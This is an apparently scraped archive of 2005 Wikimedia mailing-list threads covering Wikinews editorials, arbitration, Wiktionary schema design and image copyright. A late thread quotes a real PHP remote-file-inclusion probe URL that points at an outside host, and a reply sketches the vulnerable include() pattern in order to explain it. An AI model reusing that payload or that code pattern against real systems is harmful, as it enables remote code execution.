subject: [Foundation-l] RE: [Wikinews-l] Editorials

body:
Anthere-
> Dan seems to imply german wikinews adopted editorials,
> but Elian said they seem to have stopped. I would be
> interested in knowing current situation :-)

I see no evidence that they have stopped. However, it's important to
distinguish between "commentary" or "op-eds" and "editorials". See

http://en.wikipedia.org/wiki/Editorial
http://en.wikipedia.org/wiki/Op-Ed

The German Wikinews published exactly one "editorial", signed by several
members of the site when it started:
http://de.wikinews.org/wiki/Wikinews:Editorial

This was basically an open letter asking people to give the project time
to grow and develop, in light of the media hype surrounding its launch.
Perfectly fine, in my opinion.

Then there's the so-called "Kommentare", which would be "Op-Ed" or
"Commentary" in English:
http://de.wikinews.org/wiki/Hilfe:Kommentar

These always have to be attached to a news report: You can't write an
Op-Ed on anything. The last Op-Ed was published on July 19
http://de.wikinews.org/wiki/Kommentar:_Zickzack-Kurs_in_deutscher_Raumfahrtpolitik

You can see a list of all of them here:
http://de.wikinews.org/wiki/Spezial:Allpages/Kommentar

The experiment is currently being discussed at
http://de.wikinews.org/wiki/Hilfe_Diskussion:Kommentar

I've proposed an NPOV alternative to op-eds a while ago:
http://en.wikinews.org/wiki/Wikinews%3ADebates

Best,

Erik


list: wikimedia-l

source: pipermail-mbox

from_name: Erik Moeller


list: wikitech-l

from_name: Mark Williamson

subject: [Wikitech-l] Re: Case sensitivity on Afrikaans Wiktionary

body:
> >I still think that this would be an useful way of formally specifying a
> >dialect. For example, British English would have ISO639_2 code "en" and
> >ISO3166_1 code "uk" while Australian English would have ISO639_2 code "en"
> >but ISO3166_1 code "au".
> >
> >
> Even the ISO-639 codes in the table are there to connect what we are
> doing in the Wikipedias and other projects. As it is a standard I added
> it but in the database the ISO 639 fields are not compulsory, the "WMF
> key" is. If we "need" these ISO639_2 codes, then we would adhere to the
> principle that a language is a dialect with an army. Have a look at
> http://nl.wiktionary.org/wiki/WikiWoordenboek:Lijst_van_messages#Schrijfwijzen_binnen_een_taal_2
> and you will see how we do some of the uk and au stuff for you. This is
> however not a great example because it is a mix of different spelling
> but also vocabulary and scripts. As I was not content with this I came
> up with the current ERD.

Nikola, if you'll look up information on English dialects, you'll find
that the division between British, Australian, American, etc. is all
very exaggerated. The British, Australian, and American standard
languages are all based on the same dialect.

For example, "to starve" is the same in British, Australian, and
American standard English, while in Yorkshire dialect it's "to clem".

Similarly, "mouth", which is the same in British, Australian, and
American English (as far as the standard languages go), is "flep" in
Yorkshire. Incidentally, "flep" also refers to the lips.

This could perhaps be compared to Serbo-Croatian: Serbian, Croatian,
and Bosnian are all based on Stovakian, and there's not much variance
between them; the real variance in Southwest Slavic is between
Stovakian, Cakavian, and Kajkavian. In this example, Australian,
British, and American correspond to Serbian, Croatian, and Bosnian,
while true dialects such as those of Yorkshire, Northumbria, or
Liverpool correspond to Stovakian, Cakavian, and Kajkavian.

Mark


list: wikien-l

from_name: disclist at dapyx-soft.com

subject: [WikiEN-l] Example vs. Original research

body:
What is the border between an example and an original theory?

There's an user that argues that examples are original research, because
they don't have a source, although they support a sourced theory. (this is
specifically about languages, grammar, etc)

I think we should have something on original research policy related to this.


from_name: Skyring

subject: [WikiEN-l] Temporary appointments to the Arbitration Committee

body:
On 7/22/05, Jimmy Wales <jwales at wikia.com> wrote:

> This is an absolutely horrible job, guaranteed to earn you general
> condemnation for being both a wimp and a tyrant, and I most sincerely
> apologize to the poor victims I am pulling into our service here.

It isn't wimp/tyrant from where I sit. It's that stressed people don't
perform well. Good editors don't necessarily make good arbitrators and
if you force people to do what they aren't good at and put a lot of
pressure on them, you are asking for trouble.

An ArbCom decision should be the result of understanding the issues
and reaching a fair decision. Not finding an easy way out and rushing
off to the next case.

The system needs changing. Who'd want to be an ArbCom member if the
certain result is a LOT of hard work and stress?

Here's a thought. Draft a random bunch of admins to investigate a
case. Give them temporary IDs so they can be anonymous if they want.
They can do all the hard work and come up with a summary of evidence,
consensus view on points of difference and agreement, possible
solutions. The ArbCom can then review the case once it's prepared in a
reasonably professional manner.

This would shift a lot of the work to editors willing and able to do
it, and the ArbCom can then function in a role more suited to
management and arbitration, rather than wading through a morass of
claims and counterclaims, diffs and so on.

--
Peter in Canberra


from_name: Zachary Harden

subject: [WikiEN-l] JoeM ban

body:
Ok, Jimbo,

Based on an email from Angela, the IP addresses JoeM used should have
expired by now. Based on a search I did,
http://en.wikipedia.org/w/index.php?title=Special:Search&search=JoeM&fulltext=Search&ns0=1&ns2=1&ns3=1&ns9=1&ns11=1&offset=20&limit=20,
JoeM used three ip's that were blocked: 4.247.194.236, 4.247.239.36 and
4.247.197.156. Not sure what happened to those, but I figured those could be
unblocked, due to Angela's suggestion.

Regards,

Zachary Harden

>From: Jimmy Wales <jwales at wikia.com>
>Reply-To: English Wikipedia <wikien-l at Wikipedia.org>
>To: English Wikipedia <wikien-l at Wikipedia.org>
>Subject: Re: [WikiEN-l] JoeM ban
>Date: Fri, 22 Jul 2005 20:20:40 -0700
>
>Zachary Harden wrote:
> > Dear Mr. Wales,
>
>Mr. Wales is my father. :-)
>
> > If JoeM is coming back to Wikipedia, what will happen to his sock
> > puppet/multiple IP accounts? Will they also be unblocked?
>
>I see no reason to unblock those.  If he makes good on his promise to be
>a good user now, he won't be needing them.
>
>--Jimbo


from_name: Minh Nguyen

subject: [Wikitech-l] Re: MediaWiki wiki

body:
Kate wrote:
> hi,
>
> at avar's suggestion i've created a wiki for MediaWiki (gosh, to think we
> never had one of those before...).  it's located at:
>
>   http://wiki.mediawiki.org/wiki/Main_Page
>
> i'm not really sure what the best use for it is at the moment, but to start
> with, moving wikipedia.sourceforge.net there seems reasonable, and then maybe
> some of the documentation from meta.
>
> have fun.
>
> kate.

Actually, there was once a wiki at mediawiki.wikimedia.org. I don't
recall it having any real content, though.

--
Minh Nguyen <mxn at zoomtown.com>
AIM: trycom2000; Jabber: mxn at myjabber.net; Blog: http://mxn.f2o.org/


from_name: Jack Lynch

subject: [WikiEN-l] Worrying trends

body:
http://en.wikipedia.org/wiki/Category:Pre-Columbian_trans-oceanic_contact

is a good place for looking into more Pre-Columbian trans-oceanic
contact hypotheses. I alerted the mormons to your concerns, btw.

Jac (Sam Spade)

On 7/23/05, Jimmy Wales <jwales at wikia.com> wrote:
> Dan Grey wrote:
> > I suggest creating more "this poll is lame" sections in, er, lame
> > polls, and then linking to WP:CON and meta:Polls are evil.
>
> I think this technique is very often useful.  Not in every case, but in
> many many cases, it's the right thing to do to short-circuit a vote
> which is, well, lame.
>
> --Jimbo
>
> _______________________________________________
> WikiEN-l mailing list
> WikiEN-l at Wikipedia.org
> http://mail.wikipedia.org/mailman/listinfo/wikien-l
>


from_name: Ryan W. (Merovingian)

subject: [WikiEN-l] Worrying trends

body:
An embedded and charset-unspecified text was scrubbed...
Name: not available
Url: http://lists.wikimedia.org/pipermail/wikien-l/attachments/20050723/70656743/attachment.diff


from_name: Fred Bauder

body:
It depends. I used a different set of things in an example of a set,
than was used in the example in the text I was working from. This
seems rather trivial. Obviously one could use Stalin as an example of
a totalitarian ruler, but that could be sourced. I suppose a
problematic example could be found on the borderland and discussed,
but I think it is best to solve the problem when it arises rather
than to make policy based on hypothetical examples. Perhaps this is
just my common law heritage speaking here...

Fred

On Jul 23, 2005, at 4:25 AM, <disclist at dapyx-soft.com> wrote:

> What is the border between an example and an original theory?
>
> There's an user that argues that examples are original research,
> because
> they don't have a source, although they support a sourced theory.
> (this is
> specifically about languages, grammar, etc)
>
> I think we should have something on original research policy
> related to this.
>
>
> _______________________________________________
> WikiEN-l mailing list
> WikiEN-l at Wikipedia.org
> http://mail.wikipedia.org/mailman/listinfo/wikien-l
>


from_name: Nikola Smolenski

body:
On Friday 22 July 2005 13:25, Gerard Meijssen wrote:
> Nikola Smolenski wrote:
> >On Wednesday 20 July 2005 21:29, Gerard Meijssen wrote:
> >Related to this, I'd suggest to add "ISO15924" column to "characterset"
> > (or future "script") table. This way a script can be formally specified
> > and looked up, regardless of its name.
>
> Done, however the name of the script is a record in the database in its
> own right so it may have as many translations as we care to enter. The
> code is just to anchor it. I understand from Erik's notes that a
> language can be indicated as the default value.. The default value will
> be English. So, add a translation to the English word and from then on
> the User Interface will show it  localised.

I'll talk about this below.

> >Why is there column "gender" in table "word"? If a word can exist in
> > multiple genders, shouldn't that rather be represented in "inflection"
> > table? If a word has a gender on its own, wouldn't that rather be
> > represented in WordType table? If not, there are other properties of
> > words (for example, number) which can also be represented in "word"
> > table, why is gender singled out?
>
> When a word is inflected to a particular form, that word is a word in
> its own right and consequently will be found in the UW. The inflection
> is there because it does provide information and this information is

Now I'm not so sure that I understand which table is for what. Could you give
an example? For example, the word "white" is a base word and the word
"whiter" is its inflection. How would these two words fit into the database?

> relevant for the inflections and the headword.. A Wordtype indicates a
> noun a verb an adjective etc.

I still don't understand why is gender singled out of all properties a word
could have. For example, a verb could be transitive or intransitive, and this
information is important. To give an example:

word: horse
gender: male
partofspeech: noun

word: ship
gender: female
partofspeech: noun

word: to drive
gender: none
partofspeech: transitive verb

word: to swim
gender: none
partofspeech: intransitive verb

See what I mean? If you have to specify transitivity of a verb in
"partofspeech" table, you may as well specify gender of a noun in that table.
It would be consistent either to remove "gender" column from "word" table:

word: horse
partofspeech: male noun

word: ship
partofspeech: female noun

word: to drive
partofspeech: transitive verb

word: to swim
partofspeech: intransitive verb

or to rename it to, for example, "subtype":

word: horse
subtype: male
partofspeech: noun

word: ship
subtype: female
partofspeech: noun

word: to drive
subtype: transitive
partofspeech: verb

word: to swim
subtype: intransitive
partofspeech: verb

If you are going to change this, I'd suggest the first solution. Firstly,
because there may be words which would have more than one subtype; secondly,
because it eliminates the possibility of having invalid mix of subtypes
(horse: intransitive noun...).

> >I'd strongly suggest to add a column "inflection", to either "wordtype" or
> >"word" table; this would specify which inflection does a word use, and
> >whether it is regular or irregular. If it is known which inflexion a
> >word uses and if it is regular, then all its inflected forms could be
> >generated automatically.
> >
> >I see that there is column "languageid" in "meaningtext" table. If I
> >understand this, it means that meaning of a word could be written down in
> >various languages, and I second this. But I wonder how are you going to do
> >the same for other data which might need to be translated (for example,
> >column "characterset" of of "characterset" table - I understand that this
> > is pure text? Were you thinking about this?
>
> The fields "Sign" :) "Gender" "WordType" all relate to meaning; Ultimate
> Wiktionary will eat its own dogfood or when a translation to a word like
> noun is added like I did for Afrikaans recently, this translation is the
> one that will be used in the User Interface

OK, but what if you have a longer phrase as a table field? For example, an
"inflection" in table "inflection" might be "male genitive superlative" or
"3rd person plural female past". I don't think it makes sense to add such
phrases to the dictionary as proper entries, only so that the dictionary
would have translations of them.

Are some table fields inherently translatable? Is this what you had in mind
above?

> >Were you thinking about a way to register examples of use, similar to
> > meaning? Or would examples of use be simply a raw text in "meaningtext"
> > table?
>
> Idiom, proverbs will be a "wordtype" as much as noun is. Therefore a
> proverb will relate to a keyword through WordRelation. I have updated
> the table Relation with a newfield "SameLanguageOnly" this ensures that
> the relation is applicable within the same language so the relation
> would be "proverb" and it would combine "apple" with "an apple a day
> keeps the doctor away".
>
> MeaningText would be just the definition of a meaning in a given language.

I was thinking about something else; for example, on
http://en.wiktionary.org/wiki/account there is this example: "A beggarly
account of empty boxes. - Shakespeare, Romeo and Juliet, V-i"; but I
understand now it is going to be just a part of "meaningtext". I'm not so
certain, but maybe it would be good to create a separate table for examples,
because same examples could (and probably will) be used in "meaningtext"s in
different languages. It would also make it easier to automatically add new
examples (for example, by grepping Project Gutenberg ;)

> >>One reason why it is not as much documented as I would like is, because
> >>I am still working on the structure. At this moment I am thinking hard
> >>on how to include signed languages and the spoken dialects of the
> >>Chinese and Arabic written language.
> >
> >The last one is easy. Add ISO3166_1 and ISO3166_2 columns to language
> > table. That way, you could formally represent a dialect within a certain
> > country (as for Arabic) or even a region (as for Chinese). Perhaps even
> > better solution would be to include a RegionID column which would point
> > to table
> >"regions" (relation 1-many), which would have RegionID, ISO3166_1 and
> >ISO3166_2 columns; that way you could specify wider regions in which a
> >dialect is spoken, even if they go over country boundaries.
>
> The country code is irrelevant as far as this database is concerned.
> This database is about words in languages and dialects.

I still think that this would be an useful way of formally specifying a
dialect. For example, British English would have ISO639_2 code "en" and
ISO3166_1 code "uk" while Australian English would have ISO639_2 code "en"
but ISO3166_1 code "au".

> >Were you thinking about a way to formally define a dialect? Ideally,
> > beside a region (by the way, ISO3166-2 is not granular enough, and there
> > should be a better way of expressing region in which a dialect is spoken,
> > perhaps even to the level of a village), there should be specified a time
> > period in which a dialect was spoken, social layer which was speaking it,
> > and perhaps even a particular person or entity using it. OK, I got
> > carried away a bit but such things might be important :) Though some of
> > this should perhaps be (also) tied to a word and not a dialect.
>
> Ultimate wiktionary is about words (written, spoken or signed) that is
> the starting point. There will be a need for some formality; once a
> dialect is recognised, it will be hard to take it away. Therefore in my
> opinion it will be after some discussion. They will be added as such by
> an admin. I would think that we need to consider what it takes before we
> add a dialect. Tentatively I would go for at least 100 words defined as
> such. With a dialect I would assume that words that are not defined are
> those of the higher level language.

When I was referring to "dialect", I did not have in mind a dialect that is
officially recognised, but simply a set of words which could be identified as
belonging to a certain group. So if you want to say that this word was part of
London dockworkers' slang in 1800s, you should be able to do so, and not just
stamp it with "British English".

As a simple example, in Serbia, there are several publishing houses that were
publishing Asterix, and in some translations "Idefix" is named "Garoviks" and
"Panoramix" is named "Aspiriniks" while in others "Idefix" is named "Idefiks"
and "Panoramix" is named "Panoramiks"; and this is consistent. If you are
going to translate something about Asterix to Serbian, you should pick one of
the translations, but you should be consistent in using only the words from
the translation which you have picked, and they should somehow be marked as
belonging to the same translation. There surely are more important things than
Asterix where similar might apply.


list: foundation-l

from_name: David Gerard

subject: [Foundation-l] Radio interview with Clara Long yesterday

body:
SJ (2.718281828 at gmail.com) [050722 21:55]:
> On 7/21/05, David Gerard <fun at thingy.apana.org.au> wrote:

> > and criticisms of the process by pointing out that just because you can't
> > see inside the Britannica sausage factory doesn't mean it isn't as much or

> That said, It doesn't hurt to admint that our process has definite,
> known flaws; I feel pretty confident, despite not knowing for sure,
> that the Britannica process is not, in fact, more of a sausage factory
> than Wikipedia's at present.

Oh, yes; the above given the wrong impression. I talked about flaws in
Wikipedia's processes in detail. But the important thing is that the flaws
are visible - it's not that Wikipedia is less trustworthy, it's that *all*
sources, print or not, are untrustworthy and require thought.

Britannica's process is interesting. I don't have it to hand, but Anthony
Burgess (the author) wrote something years ago about the process of writing
for Britannica. They gave him a detailed topic brief and a number of words,
like 413 words or 508 words. If anyone has seen the article in question,
it was very interesting. This would have been how it was done in the '60s
or '70s.

- d.


subject: [WikiEN-l] Worrying trends

body:
Fred Bauder (fredbaud at ctelco.net) [050723 07:46]:

> Well, we will find out. I have just edited this article, noting that
> no historical evidence exists other than the Book of Mormon.

[[Abraham]] states clearly that the only evidence for his existence is in
Genesis, and says "If he was a historical person, then ..." which
establishes context nicely.

- d.


list: wikipedia-l

subject: [Wikipedia-l] Re: Thanks everyone

body:
On Jul 23, 2005, at 8:13 AM, <janisc at adelphia.net> wrote:

> Like say a newspaper and a few web e-zines have the same
> photograph?  Is it now a public domain thing?  Probably not.

No, if possible, use photographs you or other Wikipedians have taken
themselves. In the case of momentous events, you might claim fair
use. Consult [[Wikipedia:Copyrights]].

Fred


from_name: janisc at adelphia.net

subject: [Wikipedia-l] Re: Thanks everyone

body:
 I noticed.  I'm not suprised.  I have a book of solo Beatles that is supposed to be an encyclopedia but instead the author thought to bash Yoko (naturally) and Linda McCartney.  It's an encyclopedia, you moron!  You are supposed to just print the facts NOT your opinion.

Thanks! I don't even know how to add the pictures.  Although on one of the pages I do frequent someone did put a picture up.  I bet they did it without checking.

I'm a novice here so how can you tell if the photograph is public domain use?

Like say a newspaper and a few web e-zines have the same photograph?  Is it now a public domain thing?  Probably not.

Pluto--also a Disney character!  Some Disneyphile might get cross that Pluto (the dog) isn't the dom. meaning. *LOL* ;)  When I think of Pluto and Mars...I think of the planets first.

Like say if Elvis Costello (just an example) decided to drop the Costello and go by Elvis.  (which isn't even his real name anyway)--now Elvis (Presley) is the dom. meaning, if you only go by a timeline of who came first.

This stuff is interesting. :)


subject: [WikiEN-l] Worrying trends

body:
Fred Bauder (fredbaud at ctelco.net) [050723 09:09]:

> It's a rather different situation. I have little doubt Abraham
> existed, due to his being part of an oral tradition. The account
> given of him may be grossly inaccurate, but it is almost certain he
> existed. The Book of Mormon, supposedly delivered into the hands of
> Joseph Smith by an angel, then gone!, is a whole different animal.

Next you'll be impugning the story of Xenu. You Wikipedians and your lack
of respect for religion!

- d.


subject: [Wikipedia-l] Thanks everyone

body:
janisc at adelphia.net (janisc at adelphia.net) [050723 09:00]:

> One of my other wikipedia rants--is a group of people who took a
> celebrities page and made it get the stop sign of not being a neutral
> article.  I tried correcting it, but it's a big mess, they keep putting
> THEIR opinion and not basic facts down.  Talk about another mess on
> wikipedia.

This is a possibly unsolvable problem: people who turn an article on their
favoured celebrity into something closer to hagiography and are obsessed
with keeping it that way.

- d.


subject: [Wikipedia-l] Images

body:
janisc at adelphia.net (janisc at adelphia.net) [050723 10:03]:

> How do you an add an image to a celebrity page.  Are pages from web
> magazines fine? Are they public domain pictures?

Eeek! No, almost certainly they aren't!

On the English Wikipedia, read [[Wikipedia:Copyrights]]. The section on
celebrity images probably is out of date ... it implies that
with-permission images are fine, but we're actually trying to get rid of
those.

But basically, "Images and photographs, like written works, are subject to
copyright. Someone owns them unless they have been explicitly placed in the
public domain. Images on the internet need to be licensed directly from the
copyright holder or someone able to license on their behalf. In some cases,
fair use guidelines may allow a photograph to be used."

"Fair use" is a tricky one and is best avoided unless you think you really
understand it. However, an official celebrity publicity photo would almost
certainly count as fair use, and be fine *if* a properly free-content photo
isn't available.

- d.


from_name: S.C.A.I. Tradizioni del Sud

subject: [Wikitech-l] PHP-Injection?

body:
Hi,
watching my statistic I fount this Url:
/index.php?pagina=http://pharoeste.net/x/out.gif?&cmd=id.
You can view the code at http://pharoeste.net/x/out.gif?&cmd=id.
What does it mean?

Giovanni Putignano
Italy


from_name: Brion Vibber

subject: [Wikitech-l] Case-insensitive login ids via AuthPlugin.php

body:
Rob Lanphier wrote:
> However, I log back out and log back in as "RoBLA".  It allows this too.
> Yay?  Looking at the user db, it appears to have auto-created accounts
> for "RobLa" and "RoBLA".  Boo!
>
> My inclination is to add a new method
> AuthPlugin::getCanonicalName($username), which gets called from
> User::newFromName.  That'll give my plugin (or any AuthPlugin) a crack
> at munging the name just before an account is created.
>
> Before I do all of that, though, I'm hoping that there's a better
> approach that I'm not considering.  Thoughts?

You should be able to modify the name on the user object as it's passed
through to you to use the canonical case form.

(Warning: I have not tried thsi!)

-- brion vibber (brion @ pobox.com)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 253 bytes
Desc: OpenPGP digital signature
URL: <http://lists.wikimedia.org/pipermail/wikitech-l/attachments/20050723/113f2ac7/attachment.pgp>


subject: [Wikitech-l] NOT Re: Case sensitivity on Afrikaans Wiktionary

body:
Can you guys change the subject on this thread? af.wiktionary.org was
changed to case-sensitive mode several days ago and none of this thread
has been about it in ages. :D

-- brion vibber (brion @ pobox.com)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 253 bytes
Desc: OpenPGP digital signature
URL: <http://lists.wikimedia.org/pipermail/wikitech-l/attachments/20050723/44869b2d/attachment.pgp>


from_name: Gerard Meijssen

body:
Nikola Smolenski wrote:

>On Friday 22 July 2005 13:25, Gerard Meijssen wrote:
>
>
>>Nikola Smolenski wrote:
>>
>>
>>>On Wednesday 20 July 2005 21:29, Gerard Meijssen wrote:
>>>Related to this, I'd suggest to add "ISO15924" column to "characterset"
>>>(or future "script") table. This way a script can be formally specified
>>>and looked up, regardless of its name.
>>>
>>>
>>Done, however the name of the script is a record in the database in its
>>own right so it may have as many translations as we care to enter. The
>>code is just to anchor it. I understand from Erik's notes that a
>>language can be indicated as the default value.. The default value will
>>be English. So, add a translation to the English word and from then on
>>the User Interface will show it  localised.
>>
>>
>
>I'll talk about this below.
>
>
>
>>>Why is there column "gender" in table "word"? If a word can exist in
>>>multiple genders, shouldn't that rather be represented in "inflection"
>>>table? If a word has a gender on its own, wouldn't that rather be
>>>represented in WordType table? If not, there are other properties of
>>>words (for example, number) which can also be represented in "word"
>>>table, why is gender singled out?
>>>
>>>
>>When a word is inflected to a particular form, that word is a word in
>>its own right and consequently will be found in the UW. The inflection
>>is there because it does provide information and this information is
>>
>>
>
>Now I'm not so sure that I understand which table is for what. Could you give
>an example? For example, the word "white" is a base word and the word
>"whiter" is its inflection. How would these two words fit into the database?
>
>
Both words will exist as a Spelling, as a Word and they may share a
Meaning. When the inflections are added, in the Inflection-Word, all the
missing words will be created and they will all be related to each other
through this table. Contrary to a paper dictionary we want them all.

>
>
>>relevant for the inflections and the headword.. A Wordtype indicates a
>>noun a verb an adjective etc.
>>
>>
>
>I still don't understand why is gender singled out of all properties a word
>could have. For example, a verb could be transitive or intransitive, and this
>information is important. To give an example:
>
>word: horse
>gender: male
>partofspeech: noun
>
>word: ship
>gender: female
>partofspeech: noun
>
>word: to drive
>gender: none
>partofspeech: transitive verb
>
>word: to swim
>gender: none
>partofspeech: intransitive verb
>
>See what I mean? If you have to specify transitivity of a verb in
>"partofspeech" table, you may as well specify gender of a noun in that table.
>It would be consistent either to remove "gender" column from "word" table:
>
>word: horse
>partofspeech: male noun
>
>word: ship
>partofspeech: female noun
>
>word: to drive
>partofspeech: transitive verb
>
>word: to swim
>partofspeech: intransitive verb
>
>or to rename it to, for example, "subtype":
>
>word: horse
>subtype: male
>partofspeech: noun
>
>word: ship
>subtype: female
>partofspeech: noun
>
>word: to drive
>subtype: transitive
>partofspeech: verb
>
>word: to swim
>subtype: intransitive
>partofspeech: verb
>
>If you are going to change this, I'd suggest the first solution. Firstly,
>because there may be words which would have more than one subtype; secondly,
>because it eliminates the possibility of having invalid mix of subtypes
>(horse: intransitive noun...).
>
>
At this moment in time I would not have intransitive verbs or transitive
verbs at all. To me they are verbs. When they are transitive, they have
a different meaning from when they are intransitive so to me the
destinction is in the meaning.

>>>I'd strongly suggest to add a column "inflection", to either "wordtype" or
>>>"word" table; this would specify which inflection does a word use, and
>>>whether it is regular or irregular. If it is known which inflexion a
>>>word uses and if it is regular, then all its inflected forms could be
>>>generated automatically.
>>>
>>>I see that there is column "languageid" in "meaningtext" table. If I
>>>understand this, it means that meaning of a word could be written down in
>>>various languages, and I second this. But I wonder how are you going to do
>>>the same for other data which might need to be translated (for example,
>>>column "characterset" of of "characterset" table - I understand that this
>>>is pure text? Were you thinking about this?
>>>
>>>
>>The fields "Sign" :) "Gender" "WordType" all relate to meaning; Ultimate
>>Wiktionary will eat its own dogfood or when a translation to a word like
>>noun is added like I did for Afrikaans recently, this translation is the
>>one that will be used in the User Interface
>>
>>
>
>OK, but what if you have a longer phrase as a table field? For example, an
>"inflection" in table "inflection" might be "male genitive superlative" or
>"3rd person plural female past". I don't think it makes sense to add such
>phrases to the dictionary as proper entries, only so that the dictionary
>would have translations of them.
>
>Are some table fields inherently translatable? Is this what you had in mind
>above?
>
>
Most if not all text fields will be inherently translatable, this is
what I have very much in mind. The name of a font will not be translated
but that is the only one at this point in time. It makes perfect sense
to have this in the UW as it allows us to have a self learning User
Interface. The thing is; it has function.

>>>Were you thinking about a way to register examples of use, similar to
>>>meaning? Or would examples of use be simply a raw text in "meaningtext"
>>>table?
>>>
>>>
>>Idiom, proverbs will be a "wordtype" as much as noun is. Therefore a
>>proverb will relate to a keyword through WordRelation. I have updated
>>the table Relation with a newfield "SameLanguageOnly" this ensures that
>>the relation is applicable within the same language so the relation
>>would be "proverb" and it would combine "apple" with "an apple a day
>>keeps the doctor away".
>>
>>MeaningText would be just the definition of a meaning in a given language.
>>
>>
>
>I was thinking about something else; for example, on
>http://en.wiktionary.org/wiki/account there is this example: "A beggarly
>account of empty boxes. - Shakespeare, Romeo and Juliet, V-i"; but I
>understand now it is going to be just a part of "meaningtext". I'm not so
>certain, but maybe it would be good to create a separate table for examples,
>because same examples could (and probably will) be used in "meaningtext"s in
>different languages. It would also make it easier to automatically add new
>examples (for example, by grepping Project Gutenberg ;)
>
>
"A beggarly account of empty boxes" is a quote and why not have it as a
seperate Word and marked as such ?? It would be a idiom for "account"
and this is linked through Relation. Many famous quotes have been
translated and we could have them all. (Een paard , een paard, een
koninkrijk voor een paard)

I do not think grepping Project Gutenberg makes much sense. If anything
it helps you find occurances of the word but you have to be selective of
what to include. That is an editorial process and just the fact that a
word is used does not make for a good idiom in the UW.

>
>
>>>>One reason why it is not as much documented as I would like is, because
>>>>I am still working on the structure. At this moment I am thinking hard
>>>>on how to include signed languages and the spoken dialects of the
>>>>Chinese and Arabic written language.
>>>>
>>>>
>>>The last one is easy. Add ISO3166_1 and ISO3166_2 columns to language
>>>table. That way, you could formally represent a dialect within a certain
>>>country (as for Arabic) or even a region (as for Chinese). Perhaps even
>>>better solution would be to include a RegionID column which would point
>>>to table
>>>"regions" (relation 1-many), which would have RegionID, ISO3166_1 and
>>>ISO3166_2 columns; that way you could specify wider regions in which a
>>>dialect is spoken, even if they go over country boundaries.
>>>
>>>
>>The country code is irrelevant as far as this database is concerned.
>>This database is about words in languages and dialects.
>>
>>
>
>I still think that this would be an useful way of formally specifying a
>dialect. For example, British English would have ISO639_2 code "en" and
>ISO3166_1 code "uk" while Australian English would have ISO639_2 code "en"
>but ISO3166_1 code "au".
>
>
Even the ISO-639 codes in the table are there to connect what we are
doing in the Wikipedias and other projects. As it is a standard I added
it but in the database the ISO 639 fields are not compulsory, the "WMF
key" is. If we "need" these ISO639_2 codes, then we would adhere to the
principle that a language is a dialect with an army. Have a look at
http://nl.wiktionary.org/wiki/WikiWoordenboek:Lijst_van_messages#Schrijfwijzen_binnen_een_taal_2
and you will see how we do some of the uk and au stuff for you. This is
however not a great example because it is a mix of different spelling
but also vocabulary and scripts. As I was not content with this I came
up with the current ERD.

>>>Were you thinking about a way to formally define a dialect? Ideally,
>>>beside a region (by the way, ISO3166-2 is not granular enough, and there
>>>should be a better way of expressing region in which a dialect is spoken,
>>>perhaps even to the level of a village), there should be specified a time
>>>period in which a dialect was spoken, social layer which was speaking it,
>>>and perhaps even a particular person or entity using it. OK, I got
>>>carried away a bit but such things might be important :) Though some of
>>>this should perhaps be (also) tied to a word and not a dialect.
>>>
>>>
>>Ultimate wiktionary is about words (written, spoken or signed) that is
>>the starting point. There will be a need for some formality; once a
>>dialect is recognised, it will be hard to take it away. Therefore in my
>>opinion it will be after some discussion. They will be added as such by
>>an admin. I would think that we need to consider what it takes before we
>>add a dialect. Tentatively I would go for at least 100 words defined as
>>such. With a dialect I would assume that words that are not defined are
>>those of the higher level language.
>>
>>
>
>When I was referring to "dialect", I did not have in mind a dialect that is
>officially recognised, but simply a set of words which could be identified as
>belonging to a certain group. So if you want to say that this word was part of
>London dockworkers' slang in 1800s, you should be able to do so, and not just
>stamp it with "British English".
>
>
When there are words that are specific to London dockworkers in the
1800s, I would not call it a dialect because like many professions they
have there own vocabulary. These I would mark within a collection as the
bulk of what they say would be London English of the 1800s. Now there is
one thing that is relevant, the UW wants all words of all languages but
its primary purpose it to have the current vocabulary. So yes, these
words exist and have their place but when they are not used anymore they
should be marked as such.

>As a simple example, in Serbia, there are several publishing houses that were
>publishing Asterix, and in some translations "Idefix" is named "Garoviks" and
>"Panoramix" is named "Aspiriniks" while in others "Idefix" is named "Idefiks"
>and "Panoramix" is named "Panoramiks"; and this is consistent. If you are
>going to translate something about Asterix to Serbian, you should pick one of
>the translations, but you should be consistent in using only the words from
>the translation which you have picked, and they should somehow be marked as
>belonging to the same translation. There surely are more important things than
>Asterix where similar might apply.
>
Garoviks and Idefiks are for the Serbian language synonyms and as such I
do not have to choose because they are both correct. As a matter of
interest you could explain things either in the etymology or in the
meaning of the word.


subject: [Wikitech-l] relation between cur_title and last part of URL

body:
mm wrote:
> Thereis a place where I can read about
> relation between cur_title and last part of URL.
> I am wrting some script and can't find some rows in cur using a query like:
> SELECT cur_id, cur_title from cur WHERE cur_title BETWEEN 'title1' AND
> 'title1'
> for some title1 from URL like:

Ok, several things:
1) URLs may be URL-encoded. Titles stored in the database are not.
2) Unless a title actually has a backslash in it (like \') it will not
have a backslash in it. Apostrophes are just plain apostrophes. (But
remember to encode your SQL queries -- SQL is *not* text, it's a protocol.)
3) page_namespace and page_title are always used in a pair, never
page_title alone. (It's cur_namespace and cur_title, and old_namespace
and old_title, in 1.4 and earlier.) page_namespace is an enumerated
field; see Defines.php for the list of key numbers, and the various
Language*.php files for the localized names of each.
4) If you're looking at an old SQL dump for the English Wikipedia or a
handful of other languages, the data is encoded in ISO 8859-1 (or in
places the nonstandard superset Windows-1252). In current databases all
data is encoded in UTF-8. So if using an old database as a data source
you may need to convert.

See Title::getLocalUrl() etc if you want a closer look at how the URLs
are generated.

-- brion vibber (brion @ pobox.com)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 253 bytes
Desc: OpenPGP digital signature
URL: <http://lists.wikimedia.org/pipermail/wikitech-l/attachments/20050723/d0b3faf4/attachment.pgp>


subject: [Wikitech-l] PHP-Injection?

body:
S.C.A.I. Tradizioni del Sud wrote:
> Hi,
> watching my statistic I fount this Url:
> /index.php?pagina=http://pharoeste.net/x/out.gif?&cmd=id.
> You can view the code at http://pharoeste.net/x/out.gif?&cmd=id.
> What does it mean?

Looks like an attempt to explode unsafe PHP code that looks something like:
   <?
   # ...
   if($cmd == 'id') {
     include($pagina);
   }
   # ...
   ?>

This would download and execute the remote code in a default PHP
configuration with allow_url_fopen on (in PHP 4.3.0 or later).

MediaWiki would not be affected by this, of course; it looks like it's
targetting something else, perhaps Italian. :)

